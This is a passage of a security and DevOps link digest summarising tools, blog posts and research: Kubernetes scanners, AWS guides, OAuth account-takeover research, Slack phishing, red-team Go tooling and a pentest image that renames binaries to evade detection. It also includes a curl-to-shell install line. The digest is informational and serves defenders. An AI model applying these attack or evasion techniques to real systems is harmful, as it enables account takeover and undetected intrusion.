    TL;DR: Marvin, by Undistro, is a CLI that scans a Kubernetes cluster using CEL (Common Expression Language) checks to report misconfigurations, vulnerabilities and best-practice gaps.

    • Run: marvin scan against the current kubeconfig context; output lists severity, check ID, status and failed/passed counts.
    • Built-in checks: e.g. M-101 host namespaces, M-102 privileged container, M-104 hostPath, M-201 credentials in config, M-113 running as root, M-402/M-403 probes, M-405 to M-407 requests and limits.
    • Custom checks: Write your own CEL checks and run marvin scan --disable-builtin --checks ./examples/.
    • Install: GitHub release binaries, install script, Krew (kubectl plugin) or from source.
    • Ecosystem: Used as a plugin in Zora; supports skipping resources and documents required RBAC.

    Takeaway: A light, scriptable posture scanner. CEL custom checks make it easy to encode your own cluster policies.

  • Terraform AWS Provider: Everything You Need to Know About Multi-Account Authentication and Configuration
    summary

    (Could not fetch full text.)

    TL;DR: Hector Reyes Aleman’s Medium guide (14 October 2023) to authenticating the Terraform AWS provider across multiple AWS accounts, from SSO profiles to state layout, workspaces and provider aliases.

    • Scenario: AWS Organizations with Identity Center; Identity, Shared-Services, Dev, Test and Prod accounts; deploy an S3 bucket per environment.
    • Precedence: Provider parameters, then env vars, shared credentials, shared config, container credentials, instance profile, matching the AWS CLI and SDKs.
    • SSO users: aws configure sso creates named profiles using a “Terraform” permission set; no static keys needed.
    • IAM users: Avoid scattering IAM users; keep them in one monitored Identity account and assume roles into others.
    • State: Partial backend configuration, either per workload account or centralized in Shared-Services with profile = "shared-services" in the S3 backend.
    • Workspaces and aliases: Map terraform.workspace to account IDs; use provider alias for cross-account resources such as Route 53 delegation.
    • Source caveat: Medium blocked direct fetching; based on a Wayback Machine copy.

    Takeaway: Pick one entry point (SSO profiles locally, OIDC in CI) and assume roles from there. Keep state in a separate, locked-down account.

  • Amazon EC2 Now Supports Setting AMIs to a Disabled State
    summary

    TL;DR: AWS What’s New (13 October 2023): EC2 AMIs can now be set to a disabled state, which keeps them but blocks new launches.

    • Effect: A disabled AMI becomes private if it was shared, and no new instances can launch from it.
    • Why: Deregistering was not always allowed for regulatory, compliance or governance reasons, so obsolete AMIs piled up.
    • Discovery: Disabled AMIs are hidden from DescribeImages by default.
    • Reversible: Re-enable with a simple API call.
    • Availability: All Regions, including GovCloud and China.

    Takeaway: Disable outdated or vulnerable golden images instead of deleting them. That keeps audit history while stopping new launches.

  • viddy: A Modern Watch Command
    summary

    TL;DR: Viddy, by sachaos, is a modern replacement for watch. It runs a command periodically and adds history you can rewind.

    • Basics: Runs a command at an interval with colour output and diff highlighting.
    • Time machine: Rewind through earlier outputs “like video”. History can be saved and loaded.
    • Navigation: Output in a pager, Vim-like keymaps, text search, and suspend or restart of execution.
    • Customisation: Keymaps and colours. Supports shell aliases.
    • Install: cargo install viddy, brew install viddy, release tarballs, and community packages (APT via pkg.haus, MacPorts, Scoop, AUR).
    • Status: Not archived. The current README gives a Cargo install, which shows the tool is now distributed as a Rust crate.

    Takeaway: Drop it in wherever you use watch, e.g. viddy kubectl get pods. Rewinding means you can still see a short-lived state after it has passed.

  • Oh-Auth: Abusing OAuth to Take over Millions of Accounts
    summary

    TL;DR: Salt Labs research by Aviad Carmel (24 October 2023), third in an OAuth series, showing account takeover on Grammarly, Vidio and Bukalapak because they did not verify that social-login access tokens were issued for their own app.

    • Flaw: Sites accepted a Facebook (or similar) access token without checking its App ID, e.g. via graph.facebook.com/debug_token.
    • Attack: An attacker runs a lure site (“YourTimePlanner.com”) with social login, collects users’ tokens for its own App ID, then replays them to the vulnerable site.
    • Impact: Full account takeover for users whose email matched; Vidio alone has 100M monthly active users.
    • Scope: Applies to implicit and explicit flows and PostMessage-based flows; Google, Apple and others work similarly.
    • Status: All three companies fixed the issues; Salt expects thousands of other sites are vulnerable.
    • Series: Earlier posts covered Booking.com and Expo.

    Takeaway: Always verify the token audience (App ID or client ID) server-side before trusting a social login. The fix is about one line.

  • Azure Security Best Practices and Patterns
    summary

    TL;DR: Microsoft Learn index page of Azure security best practices for designing, deploying and managing Azure solutions, aimed at IT pros. The page has been updated since 2023 to reference newer benchmarks.

    • Topics: Secrets, databases, data encryption, identity and access, network, operational security, AI, PaaS, Service Fabric, IaaS, hybrid networks, IoT, App Service and Storage.
    • Benchmark: Points to the Microsoft cloud security benchmark (MCSB) as the main set of prescriptive controls.
    • MCSB v2 (preview): Adds an AI security domain with seven recommendations and grows Azure Policy measurements from over 220 to over 420.
    • Implementation: Track compliance in the Defender for Cloud regulatory compliance dashboard and enforce baselines with Azure Policy.
    • SFI: Also references Microsoft’s Secure Future Initiative and its six Zero Trust-aligned pillars.

    Takeaway: Treat this as a map of Azure security guidance. MCSB in Defender for Cloud and Azure Policy is the practical place to start.

  • nebula: AI-Powered Ethical Hacking Assistant
    summary

    TL;DR: Nebula by Beryllium Security started as an AI-powered ethical hacking assistant; the repository now describes itself as a “cybersecurity harness built around the operator”.

    • Page changed: The current README describes a much newer product than the 2023 assistant in the title.
    • Projects: One project per engagement holding assets, browser sessions, Kali terminals, code, notes, findings and reports.
    • Testing tools: Security browser with interception, Repeater and Intruder; Kali tools in Docker or Podman with optional OpenVPN egress.
    • AI features: Add SKILL.md skills; the “Butler” assistant can review chats, start work and manage approvals; optional OpenAI voice.
    • Controls: Operator-set scope, approvals and budgets; hashed evidence and provenance linked to findings and reports.
    • Warning: Use only on systems you own or are authorized to test.

    Takeaway: Now more of an engagement workspace than a chat helper. Evaluate the current version, not the 2023 one.

  • tabby: Self-Hosted AI Coding Assistant
    summary

    TL;DR: Tabby by TabbyML is a self-hosted, open source AI coding assistant offered as an on-premises alternative to GitHub Copilot (about 33.9k stars).

    • Self-contained: No external DBMS or cloud service needed.
    • Integration: OpenAPI interface for cloud IDEs and existing infrastructure.
    • Hardware: Runs on consumer-grade GPUs.
    • Recent releases: v0.27 to v0.30 (2025) added a richer @ menu, shareable Answer Engine pages, docs via REST API and GitLab merge request indexing; LDAP auth arrived in v0.24.
    • Agent: TabbyML’s Pochi links GitHub issues to tasks and PRs.
    • Deploy: Docker images (tabbyml/tabby) and a live demo.

    Takeaway: A solid option when code cannot leave your network. Budget GPU capacity and pin a release.

  • cve: Gather and Update All Available and Newest CVEs with Their PoC
    summary

    TL;DR: trickest/cve is an automatically updated repository collecting almost every publicly available proof-of-concept for CVEs, organized by year (about 8.2k stars).

    • Source data: CVE details from the CVE Project’s cvelist.
    • Reference mining: Checks each CVE’s references for PoCs using ffuf with the regex (?i)[^a-z0-9]+(poc|proof of concept|proof[-_]of[-_]concept)[^a-z0-9]+.
    • GitHub search: find-gh-poc finds repos mentioning the CVE ID; HackerOne video PoCs are included too.
    • Hygiene: Merges new results without overwriting manual edits; false positives filtered via blacklist.txt.
    • Extras: Per-CVE markdown pages, version badges, and a hot CVE list (hot_cves.csv).
    • Automation: Built on Trickest workflows.

    Takeaway: Quick way to check whether a CVE has public exploit code, which matters for prioritization. Treat PoC repos as untrusted code.

  • Slack Attack: A Phisher’s Guide to Initial Access
    summary

    TL;DR: Push Security post by Luke Jennings (24 October 2023) showing how external attackers can phish employees via Slack Connect, using IM phishing (SAT1018) and IM user spoofing (SAT1019) from Push’s SaaS attack matrix.

    • Why IM: Users trust IM more than email, it feels urgent, and it lacks email-style gateways and controls such as SPF.
    • External invites: Slack Connect invites carry attacker-chosen user and org names; the hidden first message tempts targets to accept.
    • Internal spoofing: Once in a shared channel, an external user can mimic an internal employee and DM members without a new invite.
    • Chameleon attack: After a benign first connection, the attacker later renames themselves (e.g. to the CEO) and messages again; useful for CEO fraud against finance staff.
    • Link previews: Link forging and unfurled previews can hide the real destination, with weaker analysis than email gateways.
    • Context: Slack Connect launched June 2020 and Teams external access January 2022; similar attacks may apply to other IM apps.

    Takeaway: Restrict Slack Connect to approved organizations and train staff that external display names can change at any time.

  • A Short Note on AWS KEY ID: Decode to AWS Account Number
    summary

    (Could not fetch full text.)

    TL;DR: Tal Be’ery’s Medium note (24 October 2023) showing how to decode the AWS account ID from an access key ID, refining earlier work by Scott Piper and Aidan Steele.

    • Structure: The first four characters (e.g. AKIA, ASIA) are a documented key-type prefix.
    • Encoding: The remaining 16 characters are Base32, giving 80 bits (10 bytes).
    • Trick: The account ID sits in the first bytes but is shifted by one bit: take the first 6 bytes, mask 0x7fffffffff80, shift right by 7.
    • Example: ASIAY34FZKBOKMUTVV7A decodes to account 609629065308; a Python function and an online demo are provided.
    • Updates: Bitmask bug fixed 25 October 2023; older keys starting with I/J appear to use different logic (January 2024).
    • Source caveat: Medium blocked direct fetching; based on a Wayback Machine copy.

    Takeaway: A leaked key ID alone reveals which account it belongs to, even offline. Use it in triage of leaked keys without calling AWS APIs.

  • local-ai-stack: Starter Kit to Build Local-Only AI Apps That Cost $0 to Run
    summary

    TL;DR: local-ai-stack by ykhli is a JavaScript starter kit for document Q&A apps that run 100% locally at no cost, based on a16z’s AI Starter Kit.

    • Inference: Ollama.
    • Vector DB: Supabase pgvector, run locally with supabase start.
    • Orchestration: Langchain.js; app logic in Next.js.
    • Embeddings: Transformers.js with all-MiniLM-L6-v2.
    • Steps: npm install, set SUPABASE_PRIVATE_KEY from supabase status, run node src/scripts/indexBlogLocal.mjs, then npm run dev on localhost:3000.
    • Status: Last push January 2024.

    Takeaway: A small, readable RAG reference that keeps data on your machine. Expect to update dependencies, since it has not changed since early 2024.

  • Use Shared VPC Subnets in Amazon EKS
    summary

    TL;DR: AWS Containers Blog walkthrough of running EKS clusters in subnets shared from a central network account via AWS RAM, so a network team owns the VPC and a platform team owns the cluster.

    • Model: The owner (network) account shares subnets with participant (application) accounts in the same AWS Organization.
    • Lab: aws-samples/eks-shared-subnets; a CloudFormation VPC with nine subnets over three AZs (control plane, worker nodes, public load balancers), shared via Resource Access Manager.
    • Network team scope: IP allocation, routes, IGWs, NAT gateways, peering and on-prem connectivity.
    • Considerations: Cluster and nodes should sit in shared subnets of the same VPC; EKS does not support clusters across multiple VPCs.
    • Security groups: Cluster, node and pod security groups must be created in the participant account.
    • Tooling: AWS CLI with credentials for both accounts and eksctl.

    Takeaway: Shared VPCs centralize network control without giving app teams VPC admin. Plan IP space and security group ownership up front.

  • How to Upgrade Amazon EKS Worker Nodes with Karpenter Drift
    summary

    TL;DR: AWS Containers Blog post (updated May 2024 for the Karpenter v1beta1 API) on patching and upgrading EKS worker nodes continuously using Karpenter’s Drift feature.

    • Drift: Nodes that no longer match their NodePool or EC2NodeClass are replaced by provisioning new nodes, cordoning and evicting pods, then terminating old ones.
    • Timing: Drift checks run every 5 minutes, and immediately when a NodePool or EC2NodeClass changes.
    • AMI families: AL2, AL2023, Bottlerocket, Ubuntu, Windows2019, Windows2022 and Custom (which needs amiSelectorTerms).
    • Pinned AMIs: Set AMI IDs, names or tags in the EC2NodeClass to promote AMIs through environments; if several match, the latest is used.
    • Auto AMIs: With EKS-optimized AMIs, new releases or a control plane upgrade trigger drift automatically.
    • Safeguards: Karpenter respects PodDisruptionBudgets with backoff; karpenter.sh/do-not-disrupt: "true" protects sensitive pods.

    Takeaway: Drift turns node patching into a continuous process. Pin AMIs if you need staged promotion, and set PDBs before turning it on.

  • Operating Resilient Workloads on Amazon EKS
    summary

    TL;DR: AWS Containers Blog post on designing resilient workloads on EKS by spreading replicas across more failure domains: nodes, AZs, clusters and Regions.

    • Principles: High availability, fault tolerance, auto scaling, self-healing, safer upgrades (blue/green, canary) and easy rollbacks.
    • Shared responsibility: AWS runs the EKS control plane across multiple AZs and replaces unhealthy instances; customers own workload resilience.
    • Kubernetes features: Replicas, health checks and self-healing, resource quotas and limits for fault isolation, rolling updates and rollbacks.
    • Patterns: Multi-node, multi-AZ, multi-cluster and multi-Region deployments.
    • Trade-off: Each extra failure domain adds cost and operational overhead, so match it to workload criticality.

    Takeaway: Start with multi-AZ replicas, topology spread and probes. Go multi-cluster or multi-Region only when the business impact justifies the cost.

  • kor: Golang Tool to Discover Unused Kubernetes Resources
    summary

    TL;DR: Kor by yonahd is a Go tool that finds unused (orphaned) Kubernetes resources so you can clean up clusters.

    • Resource types: ConfigMaps, Secrets, Services, ServiceAccounts, Deployments, StatefulSets, Roles, ClusterRoles, bindings, HPAs, PVCs, PVs, Ingresses, PDBs, CRDs, Jobs, ReplicaSets, DaemonSets, StorageClasses, NetworkPolicies and more.
    • Install: Release binaries, brew install kor, go install github.com/yonahd/kor@latest, Docker (yonahdissen/kor), Krew (kubectl krew install kor) or Helm.
    • Cluster mode: Can run as a CronJob in the cluster via Helm.
    • Output: Shows the reason each resource is considered unused.
    • Commercial: KorPro adds cost analysis and multi-cluster management.
    • Status: Active, about 1.9k stars.

    Takeaway: Run kor all before cleanup sprints; unused Secrets and ServiceAccounts are security debt, not just clutter. Verify before deleting.

  • InfoSecMap: Mapping Out the Best InfoSec Events and Groups!
    summary

    (Could not fetch full text.)

    TL;DR: InfoSecMap is a free, community-run directory and map of InfoSec events and groups, from major conferences to CTFs and local meetups.

    • Filtering: Find listings by geography, type and topic, with list and map views for events and groups.
    • Extra pages: Calls for papers, sponsors, trainers and volunteers.
    • Hubs: Organization hubs for DEF CON, 2600, LATAM, OWASP and Security BSides; a DEF CON Groups map at infosecmap.com/defcon.
    • Curation: Automated tools plus manual review of submissions.
    • Support: OWASP lists it as a corporate supporter; free to use.
    • Source caveat: The site returned a Cloudflare challenge; based on web search results from its own pages and OWASP.

    Takeaway: Handy for finding local meetups and open CFPs. Confirm dates on the event’s own site.

  • Gsec: Web Security Scanner
    summary

    TL;DR: Gsec by gotr00t0day is a Python web security scanner and exploitation tool combining custom scanners with Nuclei.

    • Passive scan: Shodan assets, RapidDNS and crt.sh subdomains, DNS enumeration, Wayback URLs, related domains.
    • Active scan: Ports, server info, security headers, CMS checks, tech and language detection, path traversal, crawling, OS detection, Nuclei.
    • Vuln checks: SSRF, XSS, host header injection, CORS, session management and SSL/TLS analysis.
    • Newer suites: README now covers v3.8 with API testing (BOLA/IDOR, mass assignment), cloud misconfiguration, request smuggling and GraphQL tests, so it has grown since 2023.
    • Comparison: The README’s table comparing it to Nikto, ZAP and Burp is the author’s own claim.
    • Requirements: Python 3.11.3 badge; API keys for some services.

    Takeaway: A one-shot recon and scan wrapper for authorized tests. Validate findings by hand, since it wraps many tools of mixed precision.

  • raven: Risk Analysis and Vulnerability Enumeration for CI/CD
    summary

    TL;DR: Raven (Risk Analysis and Vulnerability Enumeration for CI/CD) is an Apache 2.0 tool from Cycode Labs that mass-downloads GitHub Actions workflows, loads them into a Neo4j graph and runs queries to find insecure CI patterns.

    • Components: A downloader (per org/user or top public repos by star count), an indexer into Neo4j, a predefined query library and a reporter that can run in PR CI.
    • Install: pip3 install raven-cycode, plus a local Redis server and Neo4j database (Docker examples in the README).
    • Track record: Cycode says it used Raven to find and report issues in FreeCodeCamp, Storybook and Microsoft Fluent UI, and keeps a hall of fame of disclosed findings.
    • Attack classes: The research behind it covers workflow injection, branch-name injection, third-party integration risk and artifact poisoning.
    • Uses: Scanning your own org, bug bounty scanning of named orgs, and research.
    • Status: The repo is still active (pushes in 2026).

    Takeaway: Useful for auditing many GitHub Actions workflows at once instead of reading YAML by hand. Run it against your own org and review the injection and artifact findings first.

  • Announcing the EKS Cluster Games
    summary

    TL;DR: Wiz Research announced The EKS Cluster Games, a free online cloud security CTF in which players act as attackers against common Amazon EKS misconfigurations.

    • Format: Five scenarios, each focused on one possible EKS security issue. Wiz says it has seen some of them in its own research engagements.
    • Participation: Individual completion is tracked, but teams may discuss strategies.
    • Rewards: Registered finishers appear on a live leaderboard and receive a certificate. KubeCon 2023 attendees could claim a prize at the Wiz booth.
    • Access: The challenge runs in the browser from anywhere. Questions go to research@wiz.io.
    • Context: It follows Wiz’s earlier cloud CTFs and targets Kubernetes-on-AWS identity and access issues.

    Takeaway: A low-cost way for a team to practise EKS attack paths hands-on. Use it as a training exercise before reviewing your own cluster configuration.

  • osquery-defense-kit: Production-Ready Detection and Response Queries for osquery
    summary

    TL;DR: osquery-defense-kit (ODK) from Chainguard is an Apache 2.0 set of 250+ osquery queries for detection and incident response on Linux and macOS.

    • Design rule: Detection queries are written to return zero rows during normal behaviour, so any returned row can raise an alert.
    • Layout: detection/ (grouped by MITRE ATT&CK tactic), policy/ and incident_response/ for periodic evidence collection.
    • Requirements: osquery 5.7.0 or later, macOS or Linux, and Go 1.20+ for the osqtool helper if developing locally.
    • Commands: make detect (point-in-time), make collect (IR snapshot), make packs and make verify. Released query packs plug into the packs stanza of osquery.conf.
    • Case studies: The README maps real malware such as Shikitega (Linux, 2022) to queries that would have fired, e.g. execution/tiny-executable.sql and execution/unexpected-shell-parents.sql.

    Takeaway: A ready-made starting set if you already run osquery fleet-wide. Expect to tune exceptions for your environment before alerting on every row.

  • GOAD: Pentest Active Directory Lab Project
    summary

    TL;DR: GOAD (Game Of Active Directory) from Orange Cyberdefense is a GPL-3.0 project that builds a deliberately vulnerable Active Directory lab for pentest practice.

    • Labs: GOAD full (5 VMs, 2 forests, 3 domains), GOAD-Light (3 VMs, 1 forest, 2 domains), MINILAB (1 DC on Windows Server 2019 plus 1 Windows 10 workstation), SCCM (4 VMs with Configuration Manager), and challenge labs NHA and DRACARYS with no schema given.
    • Licensing: Uses free 180-day Windows evaluation VMs. After that, license each server or rebuild.
    • Version: Now at GOAD v3 with documentation at orange-cyberdefense.github.io/GOAD.
    • Warning: The authors say the lab is extremely vulnerable. Do not reuse its recipes for real environments or expose it to the internet without isolation.
    • Status: Actively maintained, about 8.5k stars.

    Takeaway: One of the most complete free AD attack labs. Run it on an isolated host network and plan for the 180-day rebuild cycle.

  • tetragon: eBPF-Based Security Observability and Runtime Enforcement
    summary

    TL;DR: Tetragon is the Cilium project’s eBPF-based tool for security observability and runtime enforcement on Linux hosts and Kubernetes.

    • Events: Process execution and exit (process_exec, process_exit by default), system call activity, and file and network I/O.
    • Kubernetes-aware: Events are enriched with namespace and pod identity, so detection can be scoped per workload.
    • Generic tracing: process_kprobe, process_tracepoint and process_uprobe events, configured through TracingPolicy resources.
    • Use cases: Network observability, filename access, credential monitoring and privileged execution.
    • Tooling: Install guides for Kubernetes and plain Linux (Docker), plus the tetra CLI. Docs live at tetragon.io.
    • License: Apache 2.0 for user space, with BSD/GPL for eBPF code.

    Takeaway: Worth evaluating as a Falco-style runtime sensor if you already run Cilium. Start with process lifecycle events, then add TracingPolicies for sensitive files.

  • Go, Containers, and the Linux Scheduler
    summary

    TL;DR: River Phillips explains (Nov 2023) why Go services in CPU-limited containers can see long garbage collection pauses, and fixes it by setting GOMAXPROCS to the CPU quota.

    • Cause: The Go runtime creates one OS thread per host core and ignores cgroup CPU limits, so on a 16-core host it expects 16 CPU-seconds per second.
    • Scheduler: Under the Linux CFS quota, threads stop being scheduled once the container uses its quota, which stretches GC stop-the-world phases.
    • Measurement: With docker run --cpus=4 and no limit set, a GC cycle took just under 2.5 ms with almost 10% in stop-the-world, per go tool trace.
    • Fix: With -e GOMAXPROCS=4, the cycle dropped under 1 ms and stop-the-world was 26 μs, about one tenth.
    • Rule: GOMAXPROCS=max(1, floor(CPUs)), or use Uber’s automaxprocs library to read the value from cgroups.
    • Note: The post mentions CFS was the default until Linux 6.6 and an open Go issue to make this automatic.

    Takeaway: If you run Go with CPU limits, set GOMAXPROCS or import automaxprocs. Check your Go version first, since newer runtimes may handle this themselves.

  • goleak: Goroutine Leak Detector
    summary

    TL;DR: goleak is Uber’s MIT-licensed Go library that fails tests when goroutines are still running at the end of a test or test package.

    • Install: go get -u go.uber.org/goleak. It supports only the two most recent Go minor versions.
    • Per test: defer goleak.VerifyNone(t) at the start of a test.
    • Per package: goleak.VerifyTestMain(m) inside TestMain, which also suits tests using t.Parallel().
    • Limitation: With t.Parallel, per-test checks cannot tell a leak from a test that has not finished.
    • Finding the culprit: Build with go test -c -o tests, then run each test from go test -list . individually to see which one leaks.
    • Stability: v1 with strict SemVer.

    Takeaway: Adding VerifyTestMain to packages with background workers is cheap and catches leaks early in CI.

  • tailspin: A Log File Highlighter
    summary

    TL;DR: tailspin (tspin) is an MIT-licensed Rust log viewer by Ben Sadeh that highlights dates, numbers, IPs, UUIDs, URLs and more in any log format with no configuration.

    • How: Runs a set of pattern matchers on each line and makes no assumption about log format.
    • Usage: tspin application.log (opens in less), kubectl logs pod --follow | tspin, or tspin --exec='kubectl logs -f pod_name'.
    • Highlight groups: Dates, durations, keywords (severities, booleans, null, HTTP methods), URLs, numbers, UUIDs, key-value pairs, pointers and Unix processes. Toggle with --enable and --disable.
    • Extras: --extras ipv6 or jvm-stack-trace, or set TAILSPIN_EXTRAS.
    • Theming: ~/.config/tailspin/theme.toml.
    • Install: brew install tailspin, cargo install tailspin, and packages for Arch, Nix, FreeBSD, NetBSD and Windows (scoop).

    Takeaway: A drop-in improvement for reading raw logs in a terminal. Pipe kubectl logs through it when you do not have a log UI to hand.

  • sshx: Fast, Collaborative Live Terminal Sharing over the Web
    summary

    TL;DR: sshx by Eric Zhang is an MIT-licensed tool that shares a terminal over the web with one command, on a collaborative infinite canvas.

    • Features: Multiple movable windows, live cursors, a global server mesh, automatic reconnection, latency estimates and Mosh-style predictive echo.
    • Encryption: End-to-end with Argon2 and AES.
    • Install: curl -sSf https://sshx.io/get | sh, or ... | sh -s run to run without installing, or brew install sshx.
    • CI debugging: Add the run command as a step to get a live shell in GitHub Actions, GitLab CI and others. The author warns that anyone can see the session URL in public CI logs.
    • Hosting: The servers run on Fly.io and Redis Cloud. Self-hosting is not supported.

    Takeaway: Handy for pairing and CI debugging, but it relies on a third-party hosted service. Do not use it in public repos or on systems where an external relay is not allowed.

  • Security Considerations for Running Containers on Amazon ECS
    summary

    TL;DR: An AWS Security Blog post (Mutaz Hajeer, Ibtissam Liedri, Temi Adebambo, Nov 2023, updated through 2025) sets out the customer’s security responsibilities on Amazon ECS and a list of best practices.

    • Shared responsibility: On EC2 and External instances there is no task isolation, and containers can reach agent data and other tasks’ credentials. Each Fargate task runs in its own VM.
    • IAM: Least-privilege resource-level permissions, a scoped task role per task definition, deploys through CI/CD pipelines, and CloudTrail auditing of ECS API access.
    • Network: awsvpc mode (the only mode with per-task security groups), TLS in transit, separate VPCs for strict isolation, and PrivateLink endpoints for ECS, ECR, Secrets Manager and CloudWatch.
    • Secrets: Secrets Manager or encrypted SSM Parameter Store with KMS. ECS does not support versioned Parameter Store parameters.
    • Runtime: Amazon Inspector scanning of ECR images, ECR tag immutability, non-root USER, no privileged mode (Security Hub control ECS.4), no ECS Exec in production, and dropped Linux capabilities.
    • Updates: Jan 2024 added GuardDuty Runtime Monitoring for ECS. Mid-2025 updates clarified container and instance security boundaries.

    Takeaway: A good checklist for an ECS review. Prefer Fargate where you need task isolation, and treat co-located EC2 tasks as one trust zone.

  • websec-answers: In-Depth Answers for Websec Interview Questions by tib3rius
    summary

    TL;DR: websec-answers by x1trap is a community repo with in-depth answers to Tib3rius’s web security interview questions (tib3rius.com/interview-questions).

    • Content: The author tries to answer every question and has also added a LinkedIn Q&A section.
    • Caveat: The author warns that answers may contain mistakes or gaps.
    • Format: A short README links to the answer documents. There is no license.
    • Activity: The last push was in November 2023, so the repo appears unmaintained since then.

    Takeaway: Useful revision material for AppSec or pentest interviews. Check answers against primary sources such as PortSwigger before relying on them.

  • OffensiveGo: Golang Weaponization for Red Teamers
    summary

    TL;DR: OffensiveGo by @RistBS, @Enelg and @dreamkinn collects examples of offensive tooling rewritten in Go for red team engagements, in the style of OffensiveRust and OffensiveNim.

    • Why Go: Simple syntax, garbage collection, easy cross-compilation and goroutines.
    • OPSEC caveat: Static linking makes binaries large, about 1.9 MB for Hello World versus 54 KB in C.
    • Build tips: go build -ldflags="-s -w" strips symbols (about 30% smaller). -ldflags -H=windowsgui hides the console window.
    • Topics: Workspace setup with go mod, Plan 9 assembly in Go, obfuscating builds and Go binary internals.
    • Examples: A set of offensive utilities plus a list of other notable Go security tools.
    • Status: Last push January 2024, no license.

    Takeaway: A reference for red teamers moving tooling to Go. Defenders can use it to understand how Go implants are built and stripped.

  • Terraform Security Best Practices
    summary

    TL;DR: Nigel Douglas of Sysdig (Mar 2023) lists Terraform security best practices, centred on scanning manifests and keeping secrets out of code and state.

    • Scan manifests: Terrascan, Checkov and KICS, e.g. terrascan scan -f /path/to/terraform/code. The post links this to the SCARLETEEL incident, where keys in S3 aided lateral movement.
    • Credentials: No hardcoded secrets. Use TF_VAR_ env vars or -var, Vault or AWS Secrets Manager, frequent rotation and least-privilege IAM.
    • Modules: Review what third-party modules create, always terraform plan before apply, and update with terraform get -update.
    • State: Remote, encrypted state (S3 with encrypt = true plus DynamoDB locking). Never edit state by hand; use terraform import.
    • Process: Git version control, GPG signing of manifests (Terraform has no built-in signing), and CI/CD with validate, fmt -check and plan -out.
    • Other: Do not put secrets in outputs. Use prevent_destroy = true for critical resources.

    Takeaway: A baseline checklist. The most useful items are a scanner in CI and an encrypted remote state backend.

  • A Comprehensive Guide to Testing in Terraform: Keep Your Tests, Validations, Checks, and Policies in Order
    summary

    TL;DR: A guide on mattias.engineer covers every layer of Terraform validation, from terraform validate to custom conditions, terraform test, check blocks and Sentinel policies, and says when to use each.

    • CLI: terraform validate and terraform fmt during development and in the pipeline.
    • Custom conditions: Variable validation blocks, lifecycle precondition/postcondition that halt an apply, and output preconditions.
    • terraform test (1.6+): .tftest.hcl files with run blocks, command = plan or apply (default apply), assert and expect_failures. Mainly for module producers.
    • check blocks (1.5+): A scoped data source plus assert. Failures are warnings, not blockers, and suit continuous validation, e.g. an http check on a website.
    • Policies: OPA/Rego or Sentinel. The local workflow is terraform plan -out=tfplan, terraform show -json, then sentinel apply. Policies belong to the organisation, not inside modules.
    • Samples: A local provider module with four tests, and an azurerm consumer with a check and storage policies.
    • Source caveat: The URL now redirects to mattias.engineer/blog/2023/terraform-testing-and-validation/.

    Takeaway: A clear map of which Terraform mechanism to use for which failure. Use tests for module interfaces, conditions for blocking failures and checks for monitoring.

  • kube-audit-rest: Kubernetes Audit Logging When You Don’t Control the Control Plane
    summary

    TL;DR: kube-audit-rest by Richard Tweed is an Apache 2.0 service that captures Kubernetes create and mutation API calls through a validating admission webhook, for clusters where you cannot configure API server audit logging (EKS, GKE, AKS).

    • Motivation: Managed audit logs bill per call and cannot be filtered at ingestion. The author says this can avoid thousands of dollars per cluster per year.
    • Scope: A logger only. Filtering, redaction and forwarding are left to other tools (Elasticsearch examples provided).
    • Requirements: Permission to create a ValidatingWebhookConfiguration, a CA and TLS certificate, a reachable endpoint and disk space (default /tmp).
    • Fallback: A MutatingAdmissionWebhook also works, but a subverted binary could then enable cluster takeover and may not log the final object.
    • Images: Distroless (default) and Alpine variants for amd64 and arm64. Deployment examples are in ./k8s and testing/setup.sh.
    • Advice: If you control the API server, use built-in audit logging instead.

    Takeaway: A cheap way to get filterable change logs from managed clusters. Note it only sees writes that pass admission, not reads.

  • sso-sync-to-amazon-rds: Sync SSO Users from AWS IAM Identity Center to Amazon RDS Databases
    summary

    TL;DR: An AWS Samples CDK solution that syncs users from AWS IAM Identity Center groups into PostgreSQL or MySQL RDS databases, so they log in with IAM authentication and temporary AWS credentials.

    • Flow: An Identity Center user event goes to EventBridge, which triggers a Lambda that adds the username. The event is forwarded cross-account to a custom bus, where a Lambda creates or deletes the DB user and records the mapping in DynamoDB.
    • Stacks: EventBridgeSSOLambda (Identity Center account), EventBridgeLambdaRDS (database account) and Outputs (reads existing DB endpoint and VPC details). It does not create databases.
    • Group filter: IAM_IDC_GROUP_NAMES, e.g. "DBA,Analytics". Group names must match pre-created database role names.
    • Design: Built for multi-account and multi-region setups, since RDS rarely sits in the Identity Center account.

    Takeaway: A pattern for removing static database passwords for humans. Review the Lambda’s DB privileges before deploying, since it can create users.

  • MTKPI: Multi Tool Kubernetes Pentest Image
    summary

    TL;DR: MTKPI (Multi Tool Kubernetes Pentest Image) by r0binak is an MIT-licensed container image bundling common Kubernetes pentest tools, for clusters where you cannot download tools into a pod.

    • Base: Built on ttyd, so you get a web shell through port-forward when your service account lacks pods/exec.
    • Tools: botb, kubeletctl, kubesploit agent, CDK, peirates, traitor, ctrsploit, kdigger, kubectl, deepce, helm, kube-hunter, kube-bench, DDexec and kubetcd.
    • Coverage: The author says it covers most of the Microsoft Threat Matrix for Kubernetes.
    • Evasion: Renames binaries (kubectl to k, curl to kurl) to dodge signature-based rules in Falco or Tracee.
    • Deploy: kubectl apply -f .../deploy/mtkpi.yaml (image r0binak/mtkpi:v1, port 7681, read-only root filesystem).
    • Warning: Some tools can damage the cluster. Test in environments such as KIND.

    Takeaway: Useful for authorised assessments. Defenders should note that renaming binaries defeats name-based detection rules.

02.10.2023

  • Chrome Extensions Can Steal Plaintext Passwords from Websites
    summary

    TL;DR: BleepingComputer (Bill Toulas, Sep 2023) reports University of Wisconsin-Madison research showing Chrome extensions can read plaintext passwords from web pages, and a proof-of-concept extension passed Chrome Web Store review.

    • Flaw: Extensions get broad DOM access, and Manifest V3 adds no security boundary between extensions and page content, so input values can be read as the user types.
    • Scale: About 17,300 extensions (12.5% of the store) have the needed permissions, and 190 already read password fields into variables.
    • Websites: Of the top 10,000 sites, about 1,100 store passwords in plaintext in the DOM and about 7,300 allow direct extraction of input values.
    • Examples: gmail.com and cloudflare.com (plaintext passwords in source), facebook.com and citibank.com (DOM extraction), irs.gov and capitalone.com (SSNs), amazon.com (card details).
    • Ethics: The PoC was approved but kept unpublished, then removed, and no data was collected.
    • Responses: Google said it was looking into it and pointed to its FAQ, which does not treat password-field access with proper permissions as a security issue.

    Takeaway: Treat every browser extension with page access as able to read credentials. Limit extensions on admin workstations with an allowlist policy.

  • llm-opstower: DevOps AI Assistant CLI for AWS Services, CloudWatch Metrics, and Billing
    summary

